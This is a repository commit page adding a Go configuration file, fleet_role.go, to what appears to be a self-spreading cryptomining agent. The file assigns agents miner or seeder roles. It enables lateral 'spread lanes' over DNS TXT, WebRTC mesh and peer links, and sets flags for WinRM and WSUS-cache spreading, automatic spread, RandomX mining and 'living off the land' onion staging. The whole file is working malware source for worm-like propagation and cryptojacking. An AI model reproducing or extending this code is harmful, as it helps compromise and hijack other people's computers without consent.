Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
89
agent/config/fleet_role.go
Normal file
89
agent/config/fleet_role.go
Normal file
@@ -0,0 +1,89 @@
|
||||
package config
|
||||
|
||||
import "strings"
|
||||
|
||||
const (
|
||||
FleetRoleMiner = "miner"
|
||||
FleetRoleSeeder = "seeder"
|
||||
FleetRoleAuto = "auto"
|
||||
)
|
||||
|
||||
// SeederSpreadLanes are the only staging lanes seeders may run (no RandomX).
|
||||
var SeederSpreadLanes = []string{"dns_txt", "webrtc_mesh", "do_peer"}
|
||||
|
||||
// NormalizeFleetRole coerces forge/auth values to miner|seeder|auto.
|
||||
func NormalizeFleetRole(role string) string {
|
||||
switch strings.ToLower(strings.TrimSpace(role)) {
|
||||
case FleetRoleSeeder:
|
||||
return FleetRoleSeeder
|
||||
case FleetRoleMiner:
|
||||
return FleetRoleMiner
|
||||
default:
|
||||
return FleetRoleAuto
|
||||
}
|
||||
}
|
||||
|
||||
// EffectiveFleetRole resolves baked role + optional server hint from auth.
|
||||
func (c RuntimeConfig) EffectiveFleetRole(serverHint string) string {
|
||||
if c.SeederMode {
|
||||
return FleetRoleSeeder
|
||||
}
|
||||
baked := NormalizeFleetRole(c.FleetRole)
|
||||
if baked == FleetRoleSeeder {
|
||||
return FleetRoleSeeder
|
||||
}
|
||||
if baked == FleetRoleMiner {
|
||||
return FleetRoleMiner
|
||||
}
|
||||
hint := NormalizeFleetRole(serverHint)
|
||||
if hint == FleetRoleSeeder || hint == FleetRoleMiner {
|
||||
return hint
|
||||
}
|
||||
return FleetRoleMiner
|
||||
}
|
||||
|
||||
// IsSeederRole reports whether this agent should skip mining and serve LAN staging only.
|
||||
func (c RuntimeConfig) IsSeederRole(serverHint string) bool {
|
||||
return c.EffectiveFleetRole(serverHint) == FleetRoleSeeder
|
||||
}
|
||||
|
||||
// IsSeederSpreadLane reports dns_txt / webrtc_mesh / do_peer lanes.
|
||||
func IsSeederSpreadLane(lane string) bool {
|
||||
lane = strings.ToLower(strings.TrimSpace(lane))
|
||||
for _, s := range SeederSpreadLanes {
|
||||
if lane == s {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// FilterSeederLotlTiers keeps only seeder staging lanes from a LOTL tier list.
|
||||
func FilterSeederLotlTiers(tiers []string) []string {
|
||||
var out []string
|
||||
for _, t := range tiers {
|
||||
if IsSeederSpreadLane(t) {
|
||||
out = append(out, t)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ApplySeederForgeDefaults enables seeder-only spread flags and disables mining paths.
|
||||
func ApplySeederForgeDefaults(b *BuiltinConfig) {
|
||||
if b == nil {
|
||||
return
|
||||
}
|
||||
b.FleetRole = FleetRoleSeeder
|
||||
b.SeederMode = true
|
||||
b.MiningDisabled = true
|
||||
b.MinerExecution = "inprocess" // unused — no RandomX chain starts
|
||||
b.GPUEnabled = false
|
||||
b.DnsTxtSpread = true
|
||||
b.WebRTCMeshSpread = true
|
||||
b.WinRMSpread = false
|
||||
b.WSUSCachePeerSpread = false
|
||||
b.AutoSpread = true
|
||||
b.LotlOnionEnabled = true
|
||||
b.LotlOnionTiers = append([]string(nil), SeederSpreadLanes...)
|
||||
}
|
||||
Reference in New Issue
Block a user